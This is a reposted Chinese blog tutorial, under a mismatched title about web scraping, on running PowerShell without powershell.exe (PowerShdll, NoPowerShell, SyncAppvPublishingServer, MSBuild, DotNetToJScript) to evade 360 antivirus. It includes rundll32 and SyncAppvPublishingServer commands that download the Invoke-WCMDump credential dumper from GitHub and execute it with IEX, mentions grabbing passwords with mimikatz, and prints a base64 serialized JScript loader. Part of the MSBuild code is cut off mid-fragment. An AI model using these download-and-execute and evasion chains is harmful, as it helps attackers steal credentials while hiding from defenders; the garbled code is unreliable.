c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)
优采云 发布时间: 2022-04-15 06:07c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)
原创:冷翼和田智慧
今天给大家带来的就是不使用powershell运行powershell的一些姿势分享。由于powershell的特性,很受渗透测试爱好者的欢迎。当然,它也催生了ASMI等防御方式。当然,各种杀软也将它纳入了杀戮的行列,比如某件套装,只要叫PS就会被杀掉,实在是太恶心了。
因此,在与AV的对抗中,我们也会尝试绕过执行PS。这里总结了几个不用powershell执行powershell的姿势,希望对大家在实战中有所帮助。
以下是一个摘要列表:
以下实验如无特别说明,均在最新版windows server 2008 sp2+360下进行。
电源线
PowerLine 是一个用 c# 编写的工具,支持本地命令行调用和远程调用。它可以调用 PowerShell 脚本,而无需直接调用 PowerShell。优点如下:
下载链接:
让我们看看如何使用它:
先把工程拉到本地,然后运行build.bat文件
然后在UserConf.xml文件中填写需要调用的powershell脚本的地址。默认自带powerup、powerview、Mimikatz等。只需按照他给的格式添加你的ps脚本地址即可。
添加完成后,运行PLBuilder.exe进行构建。构建过程中,360不提示
查看内置脚本 PowerLine.exe -ShowScripts
运行脚本,360静音
但是运行后,360提示报病毒并删除了我的exe文件……一般情况下,AV只检测到PS发送的恶意请求,但是因为在powerline中,请求是由powerline发送的,所以绕过了一部分AV,但是缺点也很明显,就是扩展性太差,所有功能都依赖配置文件……
PowerShdll
该工具主要使用dll来运行powershell,无需连接powershell.exe,因此具有一定的bypassAV能力。当然也可以在这些程序下运行rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或者使用作者给出的单独exe执行
下载链接:
exe版本使用方法:
使用PowerShdll -i 进入交互模式,就会得到一个交互的PS环境,可以执行任意powershell命令,全程360无拦截
下载mimikatz抢密码,360全程无反应...
交互模式下唯一需要注意的是,你输入的内容不能太长,否则会出现问题,原因不明....
下面我们来看看dll版本的使用情况。。
rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;
这次就没那么幸运了,直接被360秒杀
无powershell
NoPowerShell 是一个用 C# 实现的工具,它支持执行类似 PowerShell 的命令,同时对任何 PowerShell 日志记录机制都是不可见的。它还提供了CS下的cna脚本。
优势:
下载链接:
我们来看看它的用法:
直接运行会输出它的版本和支持的命令
360流程无拦截
dll版本在几秒钟内被杀死..
在cs下稳定..
这里需要注意的一点是,脚本默认调用脚本下的文件。国内的cs大多是脚本目录,可以自己修改文件中的目录。
了解了相关知识,我们如何在实践中应用?登录和天网络安全实验室寻找答案。
相关实验:CobaltStrike 的代理和 powershell
SyncAppvPublishingServer
SyncAppvPublishingServer是win10自带的服务。vbs和exe有两个版本。我们可以用它们来做一些类似于PS的操作。
默认存储在 C:\Windows\System32 下
使用示例:
*敏*感*词*电脑:
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
或者:
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
您还可以去远程下载并执行一些 ps 脚本,如下所示:
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"
调用 MSBuild.exe:
MSBuild 是一个收录在 .Net 框架中的工具,用于自动化创建软件产品的过程,包括编译源代码、打包、测试、部署和创建文档。
Msbuild 依赖于 .csproj 文件,该文件具有 XML 语法并收录 .NET 构建过程的结果,类似于 unix 中的 make,代码如下:
outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }}
]]>< / Code>
test.ps1的内容如下
echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable
影响:
全360无提示..
github上也有一个类似的项目:
执行后获取交互式 PS
调用 cscript:
github上有一个开源项目,可以直接生成.js文件。用法是
Dotnettojscript.exe > testps.js
现在作者给出了一个编译版本,但是里面总是存在一些问题:
Error: loading assembly information.The generated script might not work correctly
所以我们下载它并手动编译它..
先用vs打开项目,然后切换到TestClass.cs,注释掉MessageBox方法,不然每次运行都会得到一个messageBox
然后,因为需要调用PS,所以需要引入“System.Management.Automation.Runspaces”,“System.Management.Automation”,我们可以在PS下使用如下命令查询dll的位置,然后手动*敏*感*词*
[psobject].Assembly.Location
引入后,在TestClass中添加如下方法:
private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}
编译后我们得到Dotnettojscript.exe和ExampleAssembly.dll两个文件,然后我们继续从我们的test.ps1文件中生成一个js文件,
其内容如下:
function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = 'TestClass';
try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) { debug(e.message);}
解密后的主要逻辑如下:
var entry_class = 'TestClass';try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');var al = new ActiveXObject('System.Collections.ArrayList');var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:\\test\\test.ps1");} catch (e) {debug(e.message);}
运行结果:
当然也可以使用以下方法绕过对JS后缀的检测
cscript //e:jscript testps.txt
但是360无情地杀了我们……
写在后面:
本文只总结了网上常用的不用PS运行PS的方法。您还可以看到,在实验过程中,可以绕过一些 AV,并且各有优缺点。最好找出不同的 AV。它的拦截规则,然后对其执行绕过操作。
参考文章:
免责声明:作者的初衷是分享和普及网络知识。读者如有任何危害网络安全的行为,后果自负。与和田智慧及原作者无关!